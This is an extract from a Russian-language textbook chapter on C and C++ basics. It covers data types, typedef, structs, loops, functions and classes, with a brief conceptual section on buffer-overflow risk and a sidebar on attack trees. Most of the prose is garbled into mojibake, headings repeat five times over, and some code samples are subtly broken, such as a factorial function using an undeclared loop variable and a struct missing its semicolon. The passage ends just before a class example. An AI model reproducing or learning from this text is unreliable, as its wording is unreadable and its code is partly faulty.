C òàêæå î÷åíü ýôôåêòèâíûé ÿçûê. Íåêîòîðûå àëãîðèòìû âîçìîæíî ðåà-
ëèçîâàòü ìàøèííî-çàâèñèìûì ñïîñîáîì, âîñïîëüçîâàâøèñü îñîáåííîñòÿìè
àðõèòåêòóðû ìèêðîïðîöåññîðà. Ïðîãðàììà íà C òðàíñëèðóåòñÿ íåïîñðåä-
ñòâåííî â ìàøèííûé êîä, ïîýòîìó èñïîëíÿåòñÿ áûñòðåå ïðîãðàììû íà «èí-
òåðïðåòèðóåìîì» ÿçûêå òèïà Java. Òàêîå áûñòðîäåéñòâèå îêàçûâàåòñÿ ñó-
ùåñòâåííûì äëÿ ìíîãèõ ïðèëîæåíèé, îñîáåííî ðàáîòàþùèõ â ðåàëüíîì
ìàñøòàáå âðåìåíè, íî ó íåãî åñòü è îáðàòíàÿ ñòîðîíà: êîä, íàïèñàííûé íà C,
íå ÿâëÿåòñÿ ïëàòôîðìåííî-íåçàâèñèìûì. Ïðè ïåðåíîñå íà íîâóþ ïëàòôîð-
ìó ÷àñòè ïðîãðàììû èíîãäà ïðèõîäèòñÿ ïåðåïèñûâàòü. Èç-çà äîïîëíèòåëü-
íûõ óñèëèé íå âñåãäà ñóùåñòâóåò âåðñèÿ êîíêðåòíîé C-ïðîãðàììû äëÿ íîâîé
îïåðàöèîííîé ñèñòåìû èëè íàáîðà ìèêðîñõåì.

Òåì íå ìåíåå, ÿçûê C î÷åíü ïîëþáèëñÿ ïðîãðàììèñòàì. Ïðîãðàììû íà
íåì ìîãóò âûãëÿäåòü ïðîñòî è ýëåãàíòíî, îáëàäàÿ â òî æå âðåìÿ áîëüøèìè
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âîçìîæíîñòÿìè. Îñîáåííî õîðîøî ÿçûê C ïîäõîäèò äëÿ ðàáîòû â ñèñòåìå
UNIX, à òàêæå â òåõ ñëó÷àÿõ, êîãäà íóæíî âûïîëíèòü áîëüøîé îáúåì âû÷èñ-
ëåíèé èëè ðåøèòü ñëîæíóþ çàäà÷ó áûñòðî è ýôôåêòèâíî.

ßçûê C++ßçûê C++ßçûê C++ßçûê C++ßçûê C++
ßçûê C++ ÿâëÿåòñÿ ðàñøèðåíèåì C. Ñèíòàêñèñ è íàáîð îïåðàòîðîâ ñõîæè
ñ òåì, ÷òî åñòü â C, íî ïðè ýòîì äîáàâëåíû ÷åðòû, õàðàêòåðíûå äëÿ îáúåêòíî-
îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ, à èìåííî:

� ÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè
èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà;

� ÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ-
öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè
«íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå-
ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùó-
þñÿ ôóíêöèîíàëüíîñòü;

� Ñîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò íà C++ ìîæåò ñêðûòü äàí-
íûå, íàçíà÷èâ èì àòðèáóò «private» (çàêðûòûé);

� Àáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ,
êîòîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct),
èìåþùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì
òèï äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî
òèïà.

Â îòëè÷èå îò Java, ÿçûê C++ íå ÿâëÿåòñÿ ïîëíîñòüþ îáúåêòíî-îðèåíòèðî-
âàííûì. Íà íåì ìîæíî ïèñàòü ïðîãðàììû â ñòèëå C, íå ïîëüçóÿñü îáúåêòíî-
îðèåíòèðîâàííûìè ðàñøèðåíèÿìè.

ÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòü
ßçûêè C è C++ ðàçðàáàòûâàëèñü äî ñòðåìèòåëüíîãî íàñòóïëåíèÿ Èíòåðíåòà,
ïîýòîìó ïåðâîî÷åðåäíîå âíèìàíèå áåçîïàñíîñòè íå óäåëÿëîñü. Òèïè÷íîé
óÿçâèìîñòüþ äëÿ ïðîãðàìì, íàïèñàííûõ íà ýòèõ ÿçûêàõ, ÿâëÿåòñÿ ïåðåïîëíå-
íèå  áóôåðà. Îá ýòîé ïðîáëåìå  ìíîãèå  óçíàëè èç ñòàòüè Ýëèàñà Ëåâè (El ias
Levy) (îïóáëèêîâàííîé ïîä ïñåâäîíèìîì «Aleph One») «Smashing the Stack for
Fun and Profit» (Ìàíèïóëÿöèè ñî ñòåêîì äëÿ çàáàâû è ïîëüçû). Ñ ïîìîùüþ
îïèñàííîé òàì òåõíèêè àòàêóþùèé ìîæåò îáíàðóæèòü ó÷àñòîê ïðîãðàììû,
â êîòîðîì çíà÷åíèå ñ÷èòûâàåòñÿ â îáëàñòü ôèêñèðîâàííîãî ðàçìåðà, à çàòåì

С/С++
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ïåðåäàòü ïðîãðàììå áîëåå äëèííîå çíà÷åíèå, âûçâàâ òåì ñàìûì ïåðåïîëíå-
íèå ñòåêà èëè «êó÷è», è êàê ñëåäñòâèå ïîëó÷èòü äîñòóï ê çàùèùåííîé îáëà-
ñòè ïàìÿòè.

Â ÿçûêàõ C è C++ íåò ìåõàíèçìà àâòîìàòè÷åñêîãî êîíòðîëÿ âûõîäà çà ãðà-
íèöû, ÷òî è äåëàåò èõ óÿçâèìûìè äëÿ àòàê ìåòîäîì ïåðåïîëíåíèÿ ñòåêà. Îò-
âåòñòâåííîñòü çà ðåàëèçàöèþ òàêîãî êîíòðîëÿ äëÿ êàæäîé ïåðåìåííîé, ñ÷è-
òûâàåìîé èç âíåøíåãî èñòî÷íèêà, âîçëàãàåòñÿ íà ïðîãðàììèñòà. Â ÿçûêàõ C#
è Java ðèñêà ïåðåïîëíåíèÿ áóôåðà íåò, òàê êàê êîíòðîëü âûõîäà çà ãðàíèöû
ïðîèçâîäèòñÿ àâòîìàòè÷åñêè.

Â Ñ++ âêëþ÷åíû ñðåäñòâà äëÿ ñîêðûòèÿ äàííûõ. Âíóòðåííèå ìåòîäû è äàí-
íûå êëàññà ìîæíî îáúÿâèòü çàêðûòûìè, òàê ÷òî îíè áóäóò äîñòóïíû òîëüêî
âíóòðè ýòîãî êëàññà è áîëüøå íèãäå. Ïîñêîëüêó C – ýòî ÷èñòî ïðîöåäóðíûé
ÿçûê, òî ìåõàíèçìû ñîêðûòèÿ äàííûõ â íåì îòñóòñòâóþò, ïîýòîìó çëîíàìå-
ðåííûé ïîëüçîâàòåëü ìîæåò ïîëó÷èòü äîñòóï ê âíóòðåííèì ñòðóêòóðàì ïðî-
ãðàììû íåïðåäóñìîòðåííûì ñïîñîáîì.

Àòàêóÿ ïðîãðàììó, íàïèñàííóþ íà C èëè C++, ïðîòèâíèê ìîæåò òàêæå
ïîëó÷èòü äîñòóï ê êðèòè÷åñêè âàæíûì îáëàñòÿì ïàìÿòè. Äåëî â òîì, ÷òî
â îáîèõ ÿçûêàõ àêòèâíî ïðèìåíÿþòñÿ óêàçàòåëè, ïîçâîëÿþùèå îáðàòèòüñÿ
ê ïðîèçâîëüíîìó àäðåñó â ïàìÿòè. Â Java è C# âìåñòî ýòîãî èñïîëüçóþòñÿ
ññûëî÷íûå ïåðåìåííûå. Êðîìå òîãî, â Java ðåàëèçîâàíà ìîäåëü «ïåñî÷íèöû»
(sandbox), â ñîîòâåòñòâèè ñ êîòîðîé ïðîãðàììû, ðàáîòàþùèå âíóòðè «ïåñî÷-
íèöû», íå ìîãóò ÷èòàòü èëè ìîäèôèöèðîâàòü âíåøíèå äàííûå. Òàêîé êîí-
öåïöèè â ÿçûêàõ C è C++ íåò.

Пример «Здравствуй, мир!»

Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî-
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ
ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå
ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå C.

Пример 1.1.Пример 1.1.Пример 1.1.Пример 1.1.Пример 1.1. Здравствуй, мир!
1 #include <stdio.h>

2 int main( void ) {

3      printf("%s", "Hello, world!");
4      return 0;
5  }

Â ýòîì ïðèìåðå èìïîðòèðóåòñÿ ñòàíäàðòíàÿ áèáëèîòåêà ââîäà/âûâîäà.
Â íåå âêëþ÷åíû ôóíêöèè, ÷àñòî èñïîëüçóåìûå â èíòåðàêòèâíûõ ïðîãðàì-
ìàõ, íàïðèìåð, «printf». Äàííàÿ ïðîãðàììà ñîñòîèò âñåãî èç îäíîé ôóíêöèè
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áåç àðãóìåíòîâ (î ÷åì ãîâîðèò êëþ÷åâîå ñëîâî void), âîçâðàùàþùåé öåëîå
÷èñëî. Ïðåäëîæåíèå printf â ñòðîêå 3 ïå÷àòàåò ñòðîêó íà òàê íàçûâàåìûé ñòàí-
äàðòíûé âûâîä. Êîíñòðóêöèÿ «%s» ãîâîðèò î òîì, ÷òî áóäåò íàïå÷àòàíà ïåðå-
ìåííàÿ ñòðîêîâîãî òèïà, à íàäïèñü «Hello, world!» – ýòî è åñòü âûâîäèìàÿ ñòðî-
êà. Î òèïàõ è ôóíêöèÿõ ìû áóäåì åùå ïîäðîáíî ãîâîðèòü íèæå â ýòîé ãëàâå.

Типы данных

Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí-
íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò, êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà
â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Èíòåðåñíî îòìåòèòü, ÷òî,
õîòÿ òèïû äàííûõ ÷àñòî ïðèìåíÿþòñÿ äëÿ îïèñàíèÿ ðàçìåðà ïåðåìåííîé,
â ñòàíäàðòå ÿçûêà íå îïðåäåëåíû òî÷íûå ðàçìåðû êàæäîãî òèïà. Ïîýòîìó
ïðîãðàììèñò äîëæåí õîðîøî ïðåäñòàâëÿòü ñåáå ïëàòôîðìó, äëÿ êîòîðîé îí
ïèøåò êîä. Ãîâîðÿò, ÷òî ïåðåìåííàÿ ÿâëÿåòñÿ ýêçåìïëÿðîì (instance) íåêîòî-
ðîãî òèïà äàííûõ. Â ÿçûêàõ C è C++ èìåþòñÿ ñëåäóþùèå ñòàíäàðòíûå òèïû
äàííûõ:

� IntIntIntIntInt. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë. Â áîëüøèíñòâå ñèñ-
òåì äëÿ õðàíåíèÿ öåëîãî ÷èñëà âûäåëÿåòñÿ 4 áàéòà;

� FloatFloatFloatFloatFloat. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé. Â áîëüøèí-
ñòâå ñèñòåì ïîä íèõ îòâîäèòñÿ 4 áàéòà;

� DoubleDoubleDoubleDoubleDouble. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-
êîé äâîéíîé òî÷íîñòè. Êàê ïðàâèëî, íà ÏÊ ïåðåìåííûå òàêîãî òèïà çà-
íèìàþò 8 áàéòîâ;

� CharCharCharCharChar. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â áîëüøèíñòâå ñèñ-
òåì äëÿ êàæäîãî ñèìâîëà âûäåëÿåòñÿ 1 áàéò.

Ñóùåñòâóþò òàêæå ìîäèôèêàòîðû, èçìåíÿþùèå ðàçìåð è èíòåðïðåòàöèþ
îïèñàííûõ âûøå òèïîâ. Ê íèì îòíîñÿòñÿ short, long, signed è unsigned. Çíàêî-
âûå (signed) òèïû ìîãóò ïðåäñòàâëÿòü êàê ïîëîæèòåëüíûå, òàê è îòðèöà-
òåëüíûå çíà÷åíèÿ. Áåççíàêîâûå (unsigned) òèïû ïîçâîëÿþò ïðåäñòàâèòü
òîëüêî íåîòðèöàòåëüíûå çíà÷åíèÿ. Ïî óìîë÷àíèþ âñå ÷èñëîâûå òèïû çíà-
êîâûå. Íà ðèñ. 1.1 ïðèâåäåíà êëàññèôèêàöèÿ òèïîâ äàííûõ â ÿçûêàõ C/C++.

ßçûêè C/C++ ïîçâîëÿþò ïðîãðàììèñòó îïðåäåëèòü ñîáñòâåííûå òèïû äàí-
íûõ ñ ïîìîùüþ êëþ÷åâîãî ñëîâà typedef. Îíî ÷àñòî ïðèìåíÿåòñÿ, ÷òîáû ñäåëàòü
ïðîãðàììó ïîíÿòíåå. Òàê, ñëåäóþùèå íèæå ïðèìåðû ýêâèâàëåíòíû, íî èñïîëü-
çîâàíèå typedef áîëåå íàãëÿäíî ïîêàçûâàåò, ÷òî õîòåë ñêàçàòü ïðîãðàììèñò.

Пример 1.2. Пример 1.2. Пример 1.2. Пример 1.2. Пример 1.2. Конструкция typedef
Áåç typedef
int weight( void ){

int johnweight;

С/С++
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johnweight = 150;
return johnweight;

}

Ñ typedef
int weight( void ){

typedef int weight;       /* âåñ â ôóíòàõ */
weight johnweight = 150;
return johnweight;

}

Èç ýòèõ ïðèìåðîâ âèäíî, ÷òî èñïîëüçîâàíèå typedef ïðîÿñíÿåò ñìûñë ïðî-
ãðàììû è ïîçâîëÿåò ñâÿçàòü ñ òèïîì äàííûõ íåêîòîðûå äîïîëíèòåëüíûå õà-
ðàêòåðèñòèêè. Êîììåíòàðèé ê ñòðîêå 7 ãîâîðèò î òîì, ÷òî âñå ïåðåìåííûå
òèïà weight áóäóò õðàíèòü çíà÷åíèÿ âåñà â ôóíòàõ. Ãëÿäÿ íà ñòðîêó 8 ìû âèäèì,
÷òî ïåðåìåííàÿ johnweight – ýòî, âåðîÿòíåå âñåãî, âåñ. Â ïðèìåðå áåç ïðèìå-
íåíèÿ typedef ìîæíî ëèøü ñêàçàòü, ÷òî johnweight – ýòî öåëîå ÷èñëî. Ïî
ìåðå óâåëè÷åíèÿ ðàçìåðà ïðîãðàììû ïðåèìóùåñòâà typedef ñòàíîâÿòñÿ áîëåå
î÷åâèäíûìè. Â ïðåäûäóùåì ïðèìåðå îáà ìåòîäà ïðèâîäÿò ê ÿñíîìó êîäó, íî,
åñëè ïðîãðàììà ñîñòîèò èç íåñêîëüêèõ ñîòåí ñòðîê, òî îáúÿâëåíèå ïåðåìåí-
íîé êàê èìåþùåé òèï weight ìîæåò ìíîãîå ñêàçàòü î åå ïðèðîäå.

Â ÿçûêå C èìåþòñÿ ñëåäóþùèå êîíñòðóêöèè äëÿ îðãàíèçàöèè ñòðóêòóð
äàííûõ:

� ÌàññèâûÌàññèâûÌàññèâûÌàññèâûÌàññèâû. Ìàññèâ – ýòî èíäåêñèðîâàííàÿ ïîñëåäîâàòåëüíîñòü äàííûõ
îäíîãî òèïà;

Рис. 1.1. Рис. 1.1. Рис. 1.1. Рис. 1.1. Рис. 1.1. Классификация типов данных в языках C/C++

Предопределенные
типы

Типы с плавающей
точкой

Целочисленные
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double

float

char

int
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� ÓêàçàòåëèÓêàçàòåëèÓêàçàòåëèÓêàçàòåëèÓêàçàòåëè. Óêàçàòåëü – ýòî ïåðåìåííàÿ, ññûëàþùàÿñÿ íà äðóãóþ ïåðå-
ìåííóþ;

� ÑòðóêòóðûÑòðóêòóðûÑòðóêòóðûÑòðóêòóðûÑòðóêòóðû. Ñòðóêòóðà (struct) – ýòî çàïèñü, ñîäåðæàùàÿ äàííûå ðàç-
íûõ òèïîâ;

� ÎáúåäèíåíèÿÎáúåäèíåíèÿÎáúåäèíåíèÿÎáúåäèíåíèÿÎáúåäèíåíèÿ. Îáúåäèíåíèå (union) ñîäåðæèò òîëüêî îäíî çíà÷åíèå,
íî â ðàçíûå ìîìåíòû èñïîëíåíèÿ ïðîãðàììû ó íåãî ìîãóò áûòü ðàç-
íûå òèïû. Êàêîé èìåííî òèï õðàíèòñÿ â äàííûé ìîìåíò, îïðåäåëÿåò
ïîëå ñåëåêòîðà;

� Ïåðå÷èñëåíèÿÏåðå÷èñëåíèÿÏåðå÷èñëåíèÿÏåðå÷èñëåíèÿÏåðå÷èñëåíèÿ. Ïåðå÷èñëåíèå (enum) ïîçâîëÿåò îïðåäåëèòü ïåðåìåí-
íóþ, ñïîñîáíóþ ïðèíèìàòü çíà÷åíèÿ èç íåáîëüøîãî ìíîæåñòâà.

Äëÿ ñîçäàíèÿ ñëîæíûõ òèïîâ äàííûõ, ñîñòîÿùèõ èç íåñêîëüêèõ ýëåìåíòîâ,
ïðèìåíÿåòñÿ êëþ÷åâîå ñëîâî struct. ×àñòî â ñòðóêòóðàõ óïîòðåáëÿþòñÿ òèïû,
ðàíåå îïðåäåëåííûå ñ ïîìîùüþ ñëîâà typedef. Â ïðèìåðå 1.3 ïðîäåìîíñòðè-
ðîâàíà ñòðóêòóðà äàííûõ.

Пример 1.3.Пример 1.3.Пример 1.3.Пример 1.3.Пример 1.3. Структура struct
1  struct person{
2      String name; /* òèï String äîëæåí áûòü ãäå-òî îïðåäåëåí */

3      Height h; /* òèï Height äîëæåí áûòü ãäå-òî îïðåäåëåí */

4      Weight w; /* òèï Weight äîëæåí áûòü ãäå-òî îïðåäåëåí */

5  }

Ñòðóêòóðà person ïîçâîëÿåò ïðîãðàììèñòó ëîãè÷åñêè ñãðóïïèðîâàòü èí-
ôîðìàöèþ î ôèçè÷åñêîì ëèöå, à çàòåì ëåãêî ïîëó÷èòü ê íåé äîñòóï. Òàê, äëÿ
ñëîæåíèÿ âåñà Äæîíà è Òîìà íàäî íàïèñàòü:
int combinedweight = John.w + Tom.w;

Ущерб и защита

Создание дерева атак
Очень важно объективно оценивать факторы, угрожающие новой вы�
числительной системе. Дерево атак – это модель, помогающая разра�
ботчику описать имеющиеся риски. Чтобы построить дерево атак,
взгляните на систему с точки зрения противника. В корневом узле
расположите цель противника. Узлам�потомкам сопоставьте методы,
с помощью которых противник может попытаться достичь своей цели.
Вообще, потомки каждого узла должны содержать методы, с помо�
щью которых можно достичь цели или реализовать метод в узле�роди�
теле.

Продолжение   �

С/С++
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Поток управления

Â ÿçûêàõ C è C++ äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿ-
þòñÿ öèêëû. Â ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâ-
òîðèòü ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò
âûïîëíåíî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøå-
íèÿ ïîäîáíîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è
do...while.

Пример 1.4. Пример 1.4. Пример 1.4. Пример 1.4. Пример 1.4. Цикл «for»
1  for( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){
2  [áëîê ïðåäëîæåíèé];
3  }

Èç âñåõ öèêëîâ ÷àùå âñåãî èñïîëüçóåòñÿ for. Â íà÷àëå âûïîëíåíèÿ öèêëà
ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì
óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå-
íèé»). Â êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ íà òðåòüåì ìåñòå
â çàãîëîâêå, ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà
óñëîâèå íå ñòàíåò ëîæíûì.

Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî-
ñòîé öèêë:

for( i = 0 ; i < 5 ; i++ ){
[áëîê ïðåäëîæåíèé];
}

Пример 1.5.Пример 1.5.Пример 1.5.Пример 1.5.Пример 1.5. Цикл «while»
while( óñëîâèå ){
[áëîê ïðåäëîæåíèé];
}

Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.
Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ.
Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì.

Построив дерево атак, припишите каждому узлу некоторую вероят�
ность. Поднимаясь снизу вверх, от «листьев» к «корню», можно дать
вероятностную оценку безопасности системы в целом.
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Пример 1.6.Пример 1.6.Пример 1.6.Пример 1.6.Пример 1.6. Цикл «do...while»
do{
[áëîê ïðåäëîæåíèé];
} while( óñëîâèå );

Â öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ
ïîñëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëî-
æåíèé âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà.
Öèêë do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé
áóäåò âûïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for
è while.

Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû, è íà ïðàêòèêå ïðèìåíÿåòñÿ òà èç íèõ,
êîòîðàÿ ëó÷øå ñîîòâåòñòâóåò êîíêðåòíîé çàäà÷å. Êîãäà âûáðàííûé âèä öèêëà
òî÷íî ñîîòâåòñòâóåò õîäó ìûñëè ïðîãðàììèñòà, âåðîÿòíîñòü îøèáêè (îñî-
áåííî âñëåäñòâèå îäíîé ëèøíåé èëè íåäîñòàþùåé èòåðàöèè) ñíèæàåòñÿ.

Пример 1.7. Пример 1.7. Пример 1.7. Пример 1.7. Пример 1.7. Эквивалентность циклов – выполнение пяти итераций

Öèêë for
for( i = 0 ; i < 5 ; i++ ){

áëîê_ïðåäëîæåíèé;
}

Öèêë while
int i = 0;
while( i < 5 ){

áëîê_ïðåäëîæåíèé;
i++;

}

Öèêë do...while
int i = 0;
do {

áëîê_ïðåäëîæåíèé;
i++;

} while( i < 5 )

Â êàæäîì èç ýòèõ ïðèìåðîâ áëîê ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç. Êîí-
ñòðóêöèè ðàçíûå, íî ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì, ÷òî âñå
âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû.

Функции

Ìîæíî ñêàçàòü, ÷òî ôóíêöèÿ – ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðî-
ãðàììèñòó íóæíî ïîëó÷èòü íà âõîäå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä

С/С++
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íèìè íåêîòîðóþ îïåðàöèþ è âåðíóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿ-
òèå ôóíêöèè áûëî ïðèäóìàíî äëÿ òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ôóíê-
öèÿ – ýòî àâòîíîìíàÿ ÷àñòü ïðîãðàììû, êîòîðóþ ìîæíî âûçâàòü äëÿ âû-
ïîëíåíèÿ îïåðàöèè íàä äàííûìè. Ôóíêöèÿ ïðèíèìàåò íåêîòîðîå ÷èñëî àð-
ãóìåíòîâ è âîçâðàùàåò çíà÷åíèå.

Íèæå ïðèâåäåí ïðèìåð ôóíêöèè, êîòîðàÿ ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è
âîçâðàùàåò åãî ôàêòîðèàë.

Пример 1.8. Пример 1.8. Пример 1.8. Пример 1.8. Пример 1.8. Функция Factorial
int Factorial( int num ){

for( i = (num – 1) ; i > 0 ; i-- ){
num *= i;   /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */

   }
   return num;
}

Â ïåðâîé ñòðîêå Factorial – ýòî èìÿ ôóíêöèè. Åìó ïðåäøåñòâóåò êëþ÷åâîå
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ôóíêöèÿ âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü
( int num ) îçíà÷àåò, ÷òî ôóíêöèÿ ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öå-
ëîå ÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò
î òîì, êàêîå èìåííî çíà÷åíèå ôóíêöèÿ âîçâðàùàåò.

Классы (только C++)

Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ-
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû-
ìè õàðàêòåðèñòèêàìè. Â ÿçûêå C êëàññîâ íåò, òàê êàê ýòî ïðîöåäóðíûé, à íå
îáúåêòíî-îðèåíòèðîâàííûé ÿçûê.

Êëàññ ãðóïïèðóåò äàííûå è ôóíêöèè íåêîòîðûõ òèïîâ. Êëàññ ìîæåò ñîäåð-
æàòü êîíñòðóêòîð, êîòîðûé îïðåäåëÿåò, êàê ñîçäàåòñÿ ýêçåìïëÿð êëàññà èëè
îáúåêò. Êëàññ âêëþ÷àåò ôóíêöèè, âûïîëíÿþùèå îïåðàöèè íàä ýêçåìïëÿðà-
ìè ýòîãî êëàññà.

Ïðåäïîëîæèì, íàïðèìåð, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì ïî-
ëåòîâ äëÿ êîìïàíèè – ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû ïî-
ìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè
îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò.
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà
è ôóíêöèè äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå-
ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá-
ñòâåííûå äàííûå.

Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó:

� Weight (âåñ);
� Speed (ñêîðîñòü);
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� Maneuverabil ity (ìàíåâðåííîñòü);
� Position (ïîëîæåíèå).

Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
íåñêîëüêî ôóíêöèé äîñòóïà (accessor):

SetWeight( int )
SetSpeed( int )
SetManeuverability( int )
SetPosition( int )
MovePosition( int )

Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:

